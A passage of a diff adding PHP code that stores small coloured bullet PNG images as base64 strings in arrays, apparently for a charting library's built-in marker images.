+	    '0zz7G56hAAAAAElFTkSuQmCC' ; 
+
+//==========================================================
+// File: bl_yellow.png
+//==========================================================
+	$this->imgdata_large[2][0]= 1101 ;
+	$this->imgdata_large[2][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAMAAACelLz8AAAB2l'.
+	    'BMVEX//////////+///+f//9b//8b//73//7X//63//6X//5T/'.
+	    '/4z//4T//3P//2v//1r//0r//0L//zH//yn//yH//xj//xD//w'.
+	    'j//wD/90L/9zn/9zH/9xj/9xD/9wj/9wD39yn37zn37zH37yH3'.
+	    '7xD37wj37wDv70Lv50rv50Lv5znv5yHv5xjv5wjv5wDn51Ln5x'.
+	    'Dn3jHn3iHn3hjn3hDn3gje3oze3nPe3lLe1oze1nPe1lLe1ine'.
+	    '1iHe1hje1hDe1gje1gDW1qXW1mvWzqXWzkLWzhjWzhDWzgjWzg'.
+	    'DOzrXOzq3OzpzOzgDOxkrOxinOxhjOxhDOxgjOxgDGxqXGxnvG'.
+	    'xmvGvRjGvRDGvQjGvQDFxbnAvr6/v7+9vaW9vZS9vQi9vQC9tR'.
+	    'C9tQi9tQC7u7W1tZS1tXu1tTG1tQi1rRC1rQi1rQCtrYytrSGt'.
+	    'rQitrQCtpYStpSGtpQitpQClpYSlpXulpQClnBClnAilnACcnG'.
+	    'ucnAicnACclAiclACUlFqUlCmUlAiUlACUjFKUjAiUjACMjFKM'.
+	    'jEqMjACMhACEhACEewB7ezF7exB7ewB7cwBzcylzcwBzaxBzaw'.
+	    'BraxhrawhrawBrYxBrYwBjYwBjWgBaWgBaUgCXBwRMAAAAAXRS'.
+	    'TlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxIAAAsSAd'.
+	    'LdfvwAAAAHdElNRQfTAwkRFBKiJZ4hAAAB7ElEQVR4nI3S+1vS'.
+	    'UBgHcB67WJmIMWAVdDHEDLBC6Go0slj3Ft0m9RRBWQEmFZFDEM'.
+	    'Qgt0EMFBY7p/+198hj1kM/9N1+++x73rOd6XT/kStnTx4fPzd9'.
+	    'uwfOjFhomj7smAhwj/6Cm2O0xUwy6g7cCL99uCW3jtBmE7lsdr'.
+	    'fvejgpzP7uEDFRRoqy2k8xQPnypo2BUMP6waF9Vpf3ciiSzErL'.
+	    'XTkPc0zDe3bsHDAcc00yoVgqL3UWN2iENpspff+2vn6D0+NnZ9'.
+	    '6lC5K6RuSqBTZn1O/a3rd7v/MSez+WyIpVFX8GuuCA9SjD4N6B'.
+	    'oRNTfo5PCAVR0fBXoIuOQzab1XjwwNHx00GOj8/nKtV1DdeArk'.
+	    '24R+0ul9PjmbrHPYl+EipyU0OoQSjg8/m83kl/MMhx0fjCkqio'.
+	    'SMOE7t4JMAzDsizH81AqSdW2hroLPg4/CEF4PhKNx98vlevrbY'.
+	    'QQXgV6kXwVfjkTiSXmhYVcSa7DIE1DOENe7GM6lUym0l+EXKks'.
+	    'K20VAeH2M0JvVgrZfL5Qqkiy0lRVaMBd7H7EZUmsiJJcrTdVja'.
+	    'wGpdbTLj3/3qwrUOjAfGgg4LnNA5tdQx14Hm00QFBm65hfNzAm'.
+	    '+yIFhFtzuj+z2MI/MQn6Uez5pz4Ua41G7VumB/6RX4zMr1TKBr'.
+	    'SXAAAAAElFTkSuQmCC' ; 
+
+//==========================================================
+// File: bl_silver.png
+//==========================================================
+	$this->imgdata_large[3][0]= 1481 ;
+	$this->imgdata_large[3][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAAB4AAAAeCAMAAAAM7l6QAAADAF'.
+	    'BMVEUAAADOzs7Gxsa9vb21tbXOxsbOzsbGzsb3///O1ta1vb2c'.
+	    'paVSWlpKWlpSY2ve5+97hIze7/9aY2vO5/9zhJRaa3tSY3PGzt'.
+	    'aMlJxrc3tja3NKUlpCSlK1vcZze4RSWmPW5/+Upb3G3v9zhJxS'.
+	    'Y3t7jKVaa4TO3veltc6ElK1re5Rjc4ycpbV7hJRaY3M5QlLn7/'.
+	    '/Gzt6lrb2EjJzO3v9ja3vG1ve9zu+1xueltdacrc6UpcaMnL1C'.
+	    'SlqElLV7jK1zhKVre5zW3u/O1ue1vc6ttcaMlKVze4xrc4RSWm'.
+	    'tKUmPG1v+9zve1xu+tveeltd6crdbe5/+9xt6cpb17hJxaY3s5'.
+	    'QlrW3vfO1u/Gzue1vdattc6lrcaUnLWMlK2EjKVze5Rrc4xja4'.
+	    'RSWnNKUmtCSmO9xuecpcZ7hKVaY4TW3v/O1vfGzu+1vd6ttdal'.
+	    'rc69xu+UnL2MlLWEjK1ze5xrc5R7hK1ja4zO1v+1veettd6lrd'.
+	    'aMlL3Gzv/39//W1t7Gxs61tb29vcatrbWlpa2cnKWUlJyEhIx7'.
+	    'e4TW1ufGxta1tcZSUlqcnK3W1u+UlKW9vda1tc57e4ytrcalpb'.
+	    '1ra3vOzu9jY3OUlK29vd6MjKWEhJxaWmtSUmNzc4xKSlpjY3tK'.
+	    'SmNCQlqUjJzOxs7///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
+	    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
+	    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
+	    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
+	    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
+	    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
+	    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
+	    'AAAAAAAAAAAAAAAAAAAAAAAAD///9fnkWVAAAAAnRSTlP/AOW3'.
+	    'MEoAAAABYktHRP+lB/LFAAAACXBIWXMAAABFAAAARQBP+QatAA'.
+	    'AB/klEQVR42mNgxAsYqCdd3+lcb4hLmj8wMMvEu8DCMqYbU9op'.
+	    'UEFB2MTb26eyysomFl06XEEhUCHLpAKo2z/fujikEUVaXUFBMB'.
+	    'BouLePuV+VVWGRciIXknSEsImCQd3//xwmPr65llaFcSFJHkjS'.
+	    '3iYmWUDZ//8NfCr989NjNUMSUyTg0jneSiaCINn/gmlVQM12qg'.
+	    'lJnp5waTMTE5NAkCyHWZW/lXWNfUlikmdYK0zax7siS4EDKJtd'.
+	    'mQeU1XRwLBdLkRGASucWmGVnZ4dnhZvn5lmm29iVOWpnJqcuko'.
+	    'JKR1Wm5eTkRKYF5eblp9sU2ZeUJiV7zbfVg0pH56UFBQXNjIqK'.
+	    'jgkujItX1koKTVmYajsdKu2qETVhwgSXiUDZ2Bn9xqUeoZ5e0t'.
+	    'LzYYZ3B092ndjtOnmKTmycW1s7SHa+l5dtB8zlccE6RlN0dGbM'.
+	    'mDVbd5KupNBcL6+F82XgHouLj5vRP2PWLGNdd4+ppnxe8tJec6'.
+	    'XnNsKkm0uVQ5RDRHQTPTym68nPlZbvkfYCexsa5rpJ2qXa5Umm'.
+	    'ocmec3m8vHjmSs+fgxyhC5JDQ8WSPT2lvbzm8vDIe0nbtiBLN8'.
+	    '8BigNdu1B6Lsje+fPbUFMLi5TMfGmvHi/puUAv23q2YCTFNqH5'.
+	    'MvPnSwPh3HasCbm3XUpv+nS5VtrkEkwAANSTpGHdye9PAAAASn'.
+	    'RFWHRzaWduYXR1cmUANGJkODkyYmE4MWZhNTk4MTIyNDJjNjUx'.
+	    'NzZhY2UxMDAzOGFhZjdhZWIyNzliNTM2ZGFmZDlkM2RiNDU3Zm'.
+	    'NlNT9CliMAAAAASUVORK5CYII=' ; 
+
+//==========================================================
+// File: bl_purple.png
+//==========================================================
+	$this->imgdata_large[4][0]= 1149 ;
+	$this->imgdata_large[4][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAMAAACelLz8AAACAV'.
+	    'BMVEX/////////7///5///1v//xv//rf//pf//lP//jP//hP//'.
+	    'c///a///Wv//Wvf/Uv//Sv//Qv//Qvf/Off/Mf//Kf//If//If'.
+	    'f/GP//GPf/EP//EPf/CP//CPf/CO//AP//APf3Oe/3Kff3Ke/3'.
+	    'Ie/3GO/3EO/3AO/vSu/vSufvOefvMefvIefvGOfvEOfvCOfvAO'.
+	    'fnUufnSufnMd7nId7nGN7nGNbnEN7nCN7nAN7ejN7ejNbec97e'.
+	    'c9beUtbeQtbeIdbeGNbeENbeCNbeANbWpdbWa9bWQs7WGM7WEM'.
+	    '7WCM7WAM7Otc7Orc7OnM7OSsbOIb3OGMbOEMbOCMbOAM7OAMbG'.
+	    'pcbGnMbGe8bGa8bGKbXGEL3GCL3GAL3FucXBu73AvsC/v7+9pb'.
+	    '29Ka29GLW9ELW9CLW9AL29ALW5rrm1lLW1e7W1MbW1GKW1EK21'.
+	    'CLW1CK21AK2tjK2thKWtMaWtIaWtGJytCK2tCKWtAK2tAKWlhK'.
+	    'Wle6WlEJylCJylAKWlAJyca5ycGJScEJScCJScAJycAJSUWpSU'.
+	    'UoyUKZSUEIyUCIyUAJSUAIyMUoyMSoyMIYSMEISMCISMAIyMAI'.
+	    'SECHuEAISEAHt7MXt7EHt7CHt7AHt7AHNzKXNzEGtzAHNzAGtr'.
+	    'GGtrEGNrCGtrAGtrAGNjCFpjAGNjAFpaAFpaAFIpZn4bAAAAAX'.
+	    'RSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxIAAAsS'.
+	    'AdLdfvwAAAAHdElNRQfTAwkRFB0ymoOwAAAB9UlEQVR4nGNgIA'.
+	    'K42hhqGtm5+WFIWClKycvLK6gbuARGoEj4aMjLSElISUir6Tt7'.
+	    'x+aEIWR8leQlwEBSTc/CK7awLguuR0lGQkJMVFRUTFJVzwko1d'.
+	    'oFk9OQl5IQE+Dh5hVR0TV3CkkvbJgyASJjDZIR5GBl5eRX0TH1'.
+	    'DEqrbJ2ypBEspSgvJSXKw8bMxMavbOLoGZNf1TZlybw4oIyfLN'.
+	    'BxotxsLEzsQiaOHkFpBQ2905esrAZK2SpIAaUEuDm5+LTNPAKj'.
+	    'C+pbps1evrIDKGWnLictKSkuLKyoZQyUya9o7Z2+YMXKGUApew'.
+	    'M9PTVdXR0TEwf3wOjUirruafOXL18xFyjl72Kpb25qaurg4REU'.
+	    'EFVe2zJ5zpLlK1aCpbydnZ2dnDwDA6NTopLLeiZNXbB8BcTAyP'.
+	    'TQ0JDg4KCY1NS83JKmiVOBepYvX9UPlAovzEiPSU/LLyior2vq'.
+	    'mjZr3vLlIF01IC+XVhUWFlZW1Lc290ycOGfxohVATSsXx4Oksn'.
+	    'vaWlsb2tq6J0+bM2/RohVA81asbIcEYueU3t7JU6ZNnwNyGkhm'.
+	    '+cp5CRCppJnzZ8+ZM3/JUogECBbBIixr8Yqly8FCy8F6ltUgoj'.
+	    'lz7sqVK2ByK+cVMSCDxoUrwWDVysXt8WhJKqG4Y8bcuTP6qrGk'.
+	    'QwwAABiMu7T4HMi4AAAAAElFTkSuQmCC' ; 
+
+//==========================================================
+// File: bl_gray.png
+//==========================================================
+	$this->imgdata_large[5][0]= 905 ;
+	$this->imgdata_large[5][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAMAAACelLz8AAABO1'.
+	    'BMVEX////////3///39/fv7+/e5+fW3t7Wzs7WxsbG1tbGzsbG'.
+	    'xsbDxMS/v7++wMC+v7+9zsa9xsa9vb29tbW9ra29pa24uLi1xs'.
+	    'a1vb21tbWxtrattbWmpqalra2cra2cpaWcnJycjIyUpaWUnJyU'.
+	    'lJSUjIyMnJyMnJSMlJSMlIyMjJSMjIyElJSElIyEjIyEhIR7jI'.
+	    'x7hIR7hHt7e3t7e3N7e2tzhIRze3tze3Nzc3Nre3trc3Nrc2tr'.
+	    'a2tjc3Njc2tja3Nja2tjY2NjWlpaa2taY2taY2NaY1paWlpaUl'.
+	    'JSY2NSY1pSWlpSWlJSUlJSUkpKWlpKWlJKUlpKUlJKUkpKSkpK'.
+	    'SkJCUlJCUkJCSkpCSkJCQkI5Sko5QkI5Qjk5OUI5OTkxQkIxOT'.
+	    'kxMTkxMTEpMTEhMTEhKSkYISEpy7AFAAAAAXRSTlMAQObYZgAA'.
+	    'AAFiS0dEAIgFHUgAAAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdE'.
+	    'lNRQfTAwkRFQfW40uLAAABx0lEQVR4nI3SbXfSMBQA4NV3nce5'.
+	    'TecAHUywRMHSgFuBCFsQUqwBS1OsWQh0GTj//y8wZUzdwQ/efM'.
+	    'tzcm/uuXdj4z9ic/PR9k4qk1qDnf0X2/uZzKt8GaRvSubg4LVp'.
+	    'mkWzCGAT/i3Zsm2XNQHLsm2n2937LaaNnGoJFAEo27B50qN0ay'.
+	    'Wg26lXsw8fP8nmzcJb2CbsnF5JmmCE8ncN404KvLfsYwd7/MdV'.
+	    'Pdgl/VbKMIzbuwVgVZw2JlSKJTVJ3609vWUY957lgAUd1KNcqr'.
+	    'yWnOcOPn8q7d5/8PywAqsOOiVDrn42NFk+HQ7dVuXNYeFdBTpN'.
+	    'nY5JdZl8xI5Y+HXYaTVqEDp1hAnRohZM03EUjMdhn5wghOoNnD'.
+	    'wSK7KiiDPqEtz+iD4ctdyAifNYzUnScBSxwPd6GLfRURW7Ay5i'.
+	    'pS5bmrY8348C5vvUI+TLiIVSJrVA0heK/GDkJxYMRoyfCSmk4s'.
+	    'uWc3yic/oBo4yF374LGQs5Xw0GyQljI8bYmEsxVUoKxa6HMpAT'.
+	    'vgyhU2mR8uU1pXmsa8ezqb6U4mwWF/5MeY8uLtQ0nmmQ8UWYvb'.
+	    'EcJaYWar7QhztrO5Wr4Q4hDbAG/4hfTAF2iCiWrCEAAAAASUVO'.
+	    'RK5CYII=' ; 
+
+//==========================================================
+// File: bl_brown.png
+//==========================================================
+	$this->imgdata_large[6][0]= 1053 ;
+	$this->imgdata_large[6][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAMAAADzN3VRAAABoV'.
+	    'BMVEX////Gzs7GvbXGrZTGpXu9nHO1nHO1nIy9taXGxs7GtaXO'.
+	    'nHPGlFrGjEq9hEq1hEqte0Klczmcazmce1KtnIzGxsbGvb3OlF'.
+	    'LOlFq9hFKte0qcc0KUYzGEWimMc1K9ta3OnGvOnGPWnGO9jFq9'.
+	    'jFKlc0KUazmMYzl7UilzUjGtpZzGxr3GnGPWpWvepXO1hFJ7Wj'.
+	    'FrSiFjUjG1ra3GnHPvxpT/5733zpythFKUa0KEYzlzUilaOSF7'.
+	    'Wjm9jErvvYz/99b///f/78bnrYS1hFqle0p7UjFrSiljQiFCMR'.
+	    'iMhHO9lGvGjFLWnGv/3q3////erXuthEqlc0paQiFKMRhSQin/'.
+	    '1qX/997//++cc0pjSilaQilKORhCKRiclIy9pYzGlGPntYT33q'.
+	    '3vvZSEWjlSOSE5KRB7c2O1lHutczmthFqte1JrWkqtjGtCKRBa'.
+	    'SjmljGuca0KMYzGMaznOztaclISUYzmEWjFKOSF7a1qEYzFaSi'.
+	    'GUjISEa0pKOSm9vb2llIxaQhg5IQiEc2tzY0paORilnJy1raVS'.
+	    'OSljUkJjWkKTpvQWAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHU'.
+	    'gAAAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElNRQfTAwkREiei'.
+	    'zP2EAAAB9UlEQVR4nGWS/VfSUBjHL5QluhhBxtwyWcCus5Blpm'.
+	    'wDC4ONaWXCyBi7RMZmpQ2Bypm9W/byV3cHHo/W88s95/s5z/d5'.
+	    'uwCcCh/4L3zAf+bs0NC588On9QAYGSUuBINk6GI4cmnsBLk8Go'.
+	    '1SFEGMkzRzZeLq5JE8FvDHouw1lqXiCZJOcnCKnx4AcP0GBqmZ'.
+	    'mRgRT9MMB4Wbs7cGSXNRik3dnp9fiMUzNCNKgpzN9bsaWaQo9s'.
+	    '7dfH7pXiFTZCBU1JK27LmtBO8TDx7mV1eXHqXXyiIUFLWiVzHx'.
+	    'BxcJIvV4/cn6wkqmWOOwmVE3UQOAp6HxRKL5bGPj+VwhUhalFq'.
+	    '8alm5vAt+LlySZTsebzcKrraIIW4JqZC3N3ga+1+EQTZKZta1M'.
+	    'pCZCSeDViqVrThsEdsLJZLJYLpZrHVGScrKBvTQNtQHY6XIM02'.
+	    'E6Ik7odRW1Dzy3N28n3kGuB3tQagm7UMBFXI/sATAs7L5vdbEs'.
+	    '8Lycm923NB0j5wMe6KOsKIIyxcuqauxbrmlqyEWfPmPy5assY1'.
+	    'U1SvWKZWom9nK/HfQ3+v2HYZSMStayTNN0PYKqg11P1nWsWq7u'.
+	    '4gJeY8g9PLrddNXRdW8Iryv86I3ja/9s26gvukhDdvUQnIjlKr'.
+	    'IdZCNH+3Xw779qbG63f//ZOzb6C4+ofdbzERrSAAAAAElFTkSu'.
+	    'QmCC' ; 
+
+//==========================================================
+// File: bl_darkgreen.png
+//==========================================================
+	$this->imgdata_large[7][0]= 1113 ;
+	$this->imgdata_large[7][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAMAAACelLz8AAAB2l'.
+	    'BMVEX////////3///v///n/+/e99bW/+/W99bO786/v7++vr69'.
+	    '/96999a7wb24vbu1/9a1zqW1u7itxrWosq6l772l1qWlxrWlxq'.
+	    '2lva2cxpSU562U3q2UxqWUvaWUpZyM77WM57WMvYyMtZyMrZyM'.
+	    'pZSMnJSEvZyEtYyErZSElIx7zpR7xpx7xpR7vZR7jIRz1pRzxp'.
+	    'RzjIRrzpRrzoxrxoxrtYRrrYxrrXtrpYRrhHNjzoxjxoxjxoRj'.
+	    'vYRjtYRjrXtjpXtjlGNje2tazoxazoRaxoxaxoRavYRatYRatX'.
+	    'tarXtapXNanHNajFpae2tSzoRSxoRSvXtStXtSrXtSrXNSpXNS'.
+	    'nHNSnGtSlGtSlGNSjGtSjGNKvXtKtXNKrXNKpWtKnGtKlGNKjG'.
+	    'NKhGNKhFJKc1pKa1JCrWtCpWtCnGtClGNCjGNCjFpChFpCe1JC'.
+	    'a1JCY1I5pWs5nGM5lGM5jFo5hFo5e1o5c0o5WkoxjFoxhFoxhF'.
+	    'Ixe1Ixc1Ixc0oxa0ophFIpe0opc0opa0opa0IpY0IpWkIpWjkp'.
+	    'UkIpUjkhc0oha0IhY0IhWjkhWjEhUjkhUjEhSjEhSikhQjEhQi'.
+	    'kYWjkYSjEYSikYQjEYQikQSikQQikQQiEQOSExf8saAAAAAXRS'.
+	    'TlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxIAAAsSAd'.
+	    'LdfvwAAAAHdElNRQfTAwkRFCaDkWqUAAAB+ElEQVR4nI3S+1vS'.
+	    'UBgHcGZlPV0ks/vFrmQWFimJjiwiYUJWjFBWFhClyZCy5hLrwA'.
+	    'x2EIwJC1w7zf2vnU0re+iHvs9++7x7zznvORbLf+TA6ct9fYMX'.
+	    'jrfAUYefpp+/iM1ykxf/lmuhUZ/PTwXC8dml5Wcd23o5H5Mk6b'.
+	    '5NUU8icXbhS67rNzn9JDnguOEYGQtEEtwC+Crs3RJ76P5A/znr'.
+	    'vsNX7wQnEiwHCtK7TTkW8rvdZ9uJtvZTLkxpHhSrP66bNEj7/P'.
+	    '3WNoLYeeSWQQCIpe9lQw7RNEU5rDsIYtcJ14Nocg7kRUlBNkxn'.
+	    'YmGKcp7cv3vPwR7XOJPmc0VYU3Sv0e9NOBAYG7Hbz/cMjTMveZ'.
+	    'CHkqxuTBv0PhYJB4N3XR6PJ5rMAPMnpGUxDX1IxSeMTEaZp1OZ'.
+	    'nGAIQiYtsalUIhFlmGTy3sO3AizJCKn6DKYryxzHsWyaneMzr6'.
+	    'cWxRVZVlFTe4SpE3zm+U/4+whyiwJcWVMQNr3XONirVWAklxcE'.
+	    'EdbqchPhjhVzGpeqhUKhWBQhLElr9fo3pDaQPrw5xOl1CGG1JE'.
+	    'k1uYEBIVkrb02+o6RItfq6rBhbw/tuINT96766KhuqYpY3UFPF'.
+	    'BbY/19yZ1XF1U0UNBa9T7rZsz80K0jWk6bpWGW55UzbvTHZ+3t'.
+	    'vbAv/IT+K1uCmhIrKJAAAAAElFTkSuQmCC' ; 
+
+//==========================================================
+// File: bl_green.png
+//==========================================================
+	$this->imgdata_large[8][0]= 1484 ;
+	$this->imgdata_large[8][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAYAAACpSkzOAAAABm'.
+	    'JLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsRAAALEQF/ZF+RAAAA'.
+	    'B3RJTUUH0wMMFjM4kcoDJQAABVlJREFUeNq9ll2MJFUVx3/11V'.
+	    'Vd/TE9vU0v4zLDwJIF16jBqLAPhsRXEiDqg0QTJiQSjcSNvCzw'.
+	    'sBEDDxizhvAAxBgf1oR9QF9NiE9ESFZkQyZB5WtddmdnZ3qqqr'.
+	    'uqbt367Cofqu3ZZpWVaDzJfbkf53//55z/PVdZXV3l/2H6f7Lp'.
+	    '5VdOV/4Nb+GmHpUeA7AdBNxc3kafNb73jRPK9Xwon8ToxVefqU'.
+	    'b91wibH5EkCQBCizFihTSviHUHR0hWws9xe3wvJ7/7nPKpgX5y'.
+	    '9oFqt3eOgWniRBoAbUBGGqZUibSYaeoT2B5bnkdaSA6793Cv/S'.
+	    'QPPbihXBfo5VdOV+8dfgnvwAU62YH5fCZ12sDujFkwyegCqTrB'.
+	    'iUOKTOJKj8jr88jS8zy6cXwBTP048nuHX0I0nDlIp7RpTG7kM0'.
+	    'sdyAYsTVukUuWGhlWHMq0ITL92lnUp9R1Obz/GmTNnqn9bDD8/'.
+	    '+0D1oX0O0zQZZDYCsK2j3Gl9jQqDfHiei8GfiKVLlsZkJaBAN1'.
+	    '0i6PgwUbB0GxG5/PrtE/xLRr959Znqw9452oVNI+jiJhnr1pe4'.
+	    'k29zB1/nFr5Kj7tpt1YYhJ0FJ7nUYbcJQBgahN2MzeCP/OipR6'.
+	    'prgN6Qr6ELFQFUWoRpNVjlKwxZB8DCpE+PtfEKqV1cUzxpVudu'.
+	    'GTBHA5Y1g99e+dUio9O/P1Vpq+/WE5GGjDSMoAtAQjrf3C52IP'.
+	    'QxpY4WK2hpReka9Gfrhqgz0bACRoCWjDh56kQ1z9FeuUUQxVhK'.
+	    'B92sD1VahM+bAJgcoJhGjP/6Ln8rAgDiRCVRKiIzxMkkodBJ85'.
+	    'im1IlEHbE4k1xyNveL4YP8HarmGJIOpqyjeQmfNHmTvnqZTWBt'.
+	    'vIJXpPwlukJSuSTKGK3pEwtJmiX00ZlInTyNscImO6XBITvH1c'.
+	    '8vVt2OucdKvIyeKRTNCivsEMgcpg6taYs30nfq0Gqg6hOSSFJ4'.
+	    'BSnJPht0IqEjWmOGocEI6F0J94F0qaL6BntTF0MtUfweKQKAPU'.
+	    'Wwp4OcVnQAmVb0p9DLOzjEhEKnGRmoRc7EzRGlwA6NujAKG4yP'.
+	    '6Sjwc4aVznZ7DK0xXdkDoJf0kGmFBniFBOBGcZSCCSKd0IwN0k'.
+	    'IS+QZWCGVZex4BnUxya3+Zt9iugQbcRFpIAtuHvAZulPUdLhUJ'.
+	    'RqegI3WcqaSXddlT3idsWMSRRGkEtNwmyTifAwyBo7LP+11J0e'.
+	    '7tM7pZOYblHkBLcqZ5LcYtw6Wbd4CM3SpE9foYZsIHoqDKCrbz'.
+	    'mLSQtPwmuhXgtBLs0GBdbXOhFGB7WBKO2F8GXt9/VO97Ya3atF'.
+	    '7nUHnwGjGGQqcPxFEdFqURkEidiZszAERoYIsGju1hq21kWee3'.
+	    'bw15+8WpsvAy3K1+i3JkkhZyPpxxjjPOsfOYiZ+TFhLPzQnHOU'.
+	    'tpzGB2dgA4tscIkKIx19Cxg/fPL7vQJu47eXt1VvsDK8pwPueZ'.
+	    'PuZoQMOqhRoJHSs0kKLBWjvjYinmeQGw1TaX1RFdfZ3LMzYLjA'.
+	    'C++dkn6AaH2Nobk6cxEzdnuG0TdC8zvdJkN0hqkFkO/jwL0fxa'.
+	    'so8sBcuFzQ+/+MRC+BeAHnpwQzn++ee5KT9Eshuy46dcKAXm32'.
+	    '0uzPQhS4GttkH2GQID2Wc0Y4LtAbDxhZ/x5A+e/uTG9+jGceXH'.
+	    '9/ySnnIXnUzOxXe1038mW3ZynNmam4yYWkO+f9cv+Oljz16/lV'.
+	    '9tDz/9nerc1hm8ZEScSRK7VvtYl1i1dklsOKyvc+zg/bzw1O8+'.
+	    '/efkajt56kR1ydlEJBc5H46xzbrJ3dY9wrB7hGcff+6/+279L+'.
+	    '0fHxyiE8XMLl4AAAAASUVORK5CYII=' ; 
+
+//==========================================================
+// File: bl_blue.png
+//==========================================================
+	$this->imgdata_large[9][0]= 1169 ;
+	$this->imgdata_large[9][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAMAAACelLz8AAACEF'.
+	    'BMVEX/////////7//35//v1v/exv/Wvf/Wrf/Wpf/Orf+/v7+9'.
+	    'tc69jP+9hP+5ucW1tc6tlP+rq7Wlpdalpcalpb2cnM6cnMacc/'.
+	    '+cWv+UlLWUjN6UjK2Uc/+Ma/+MUv+EhKWEa/+EQvd7e8Z7e7V7'.
+	    'e6V7c957Wv9za9Zza8ZzSv9ra5xrSv9rOf9rMe9jUudjQv9jOe'.
+	    '9aWpRaUt5aUpRaSu9aSudSUoxSSs5SSoxSMf9KQtZKOfdKMedK'.
+	    'Kf9KKe9CKf9CKb1CKa1CIfdCIedCId45MXs5Kfc5If85Iec5Id'.
+	    'Y5GP8xMbUxMXsxKc4xKZQxIf8xGP8xGO8xGN4xGNYxGL0xGK0p'.
+	    'KXMpIYwpGP8pGO8pGOcpGNYpGM4pEP8pEPcpEOcpEN4pENYpEM'.
+	    'YpEL0hGKUhEP8hEPchEO8hEOchEN4hENYhEM4hEMYhELUhCP8h'.
+	    'CO8hCN4YGJwYGGsYEL0YEK0YEHMYCN4YCM4YCMYYCL0YCKUYAP'.
+	    '8QEJQQEIwQEHsQEGsQCM4QCLUQCK0QCKUQCJwQCJQQCIwQCHMQ'.
+	    'CGsQAP8QAPcQAO8QAOcQAN4QANYQAM4QAMYQAL0QALUQAKUQAJ'.
+	    'QQAIQICGsICGMIAO8IANYIAL0IALUIAK0IAKUIAJwIAJQIAIwI'.
+	    'AIQIAHsIAHMIAGsIAGMAAN4AAMYAAK0AAJQAAIwAAIQAAHMAAG'.
+	    'sAAGMAAFrR1dDlAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgA'.
+	    'AAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElNRQfTAwkRFRPMOZ'.
+	    '/2AAAB+klEQVR4nGNgIAIIqeqZmBqpi2JISNml5lVXV3d198Yo'.
+	    'oUjwm1SnxsbGRsSm5ZfNXO4tjCTjVh0ABhFx6QV9E1Y0S8JkuN'.
+	    '3yAgLc7W3t/QPi4jPKJ8ye1yoIlTKpjvVy15eVUbN0i4zKLJ8w'.
+	    'ae6qcKgLqmMj3PUFWFl5NJ0CExLLJzbNW7BWCyxlXR0ba6/Axs'.
+	    'zELmfnkRBT0QiSKgXJCOflxUbYy3KyMHEoOrtEZ1c2TZ6/cMl6'.
+	    'eaCUamdsbIC7tjgPr4SBS3BMMVDTwkXr1hsDpYy6UmMj/O0tdX'.
+	    'QNbDxjknJLWqYsXLx0vStQynxGflpkZGCgs7Onp29SbtNkoMy6'.
+	    'pevCgFJWy3oyMuKjgoKCPWNCvEuqWhcsWrJ06XqQlPnMvrKyrM'.
+	    'TomJjkZAfHlNa2qdOWrlu63gcopbG8v7+hvLwip7g4JdSxsLZu'.
+	    '8dKlS9ettwBKic2eNXHChIkTG5tKqgpr2uo6loLAehWQx0LnzJ'.
+	    '49p6mpeXLLlNq6RUvqly6dvnR9Bx9ISnnlvLmT582bMr9t4aL2'.
+	    '+vrp60GaDCGB6Ld6wfwFCxYCJZYsXQ+SmL6+FBryInVrFi1atH'.
+	    'jJkqVQsH6pNCzCJNvXrQW6CmQJREYFEc2CYevXrwMLAyXXl0oz'.
+	    'IAOt0vVQUGSIkabkDV3DwlzNVDAksAAAfUbNQRCwr88AAAAASU'.
+	    'VORK5CYII=' ; 
+
+//==========================================================
+// File: bs_red.png
+//==========================================================
+	$this->imgdata_small[0][0]= 437 ;
+	$this->imgdata_small[0][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAMAAAAMs7fIAAAAk1'.
+	    'BMVEX////////GxsbGra3/xsbOhITWhIT/hIT/e3v/c3P/a2vG'.
+	    'UlK1SkrOUlL/Y2PWUlLGSkrnUlLeSkrnSkr/SkqEGBj/KSmlGB'.
+	    'jeGBjvGBj3GBj/EBD/CAj/AAD3AADvAADnAADeAADWAADOAADG'.
+	    'AAC9AAC1AACtAAClAACcAACUAACMAACEAAB7AABzAABrAABjAA'.
+	    'BuukXBAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZ'.
+	    'cwAACxIAAAsSAdLdfvwAAAAHdElNRQfTAwkUGDNEMgOYAAAAm0'.
+	    'lEQVR4nI3Q3RKCIBAFYGZMy9RKzX7MVUAUlQTe/+kS0K49d3wD'.
+	    '7JlFaG+CvIR3FvzPXgpLatxevVVS+Jzv0BDGk/UJwOkQ1ph2g/'.
+	    'Ct5ACX4wNT1o/zzUoJUFUGBiGfVnDTYGJgmrWy8iKEtp0Bpd2d'.
+	    'jLGu56MB7f4JOOfDJAwoNwslk/jOUi+Jts6RVNrC1hkhPy50Ef'.
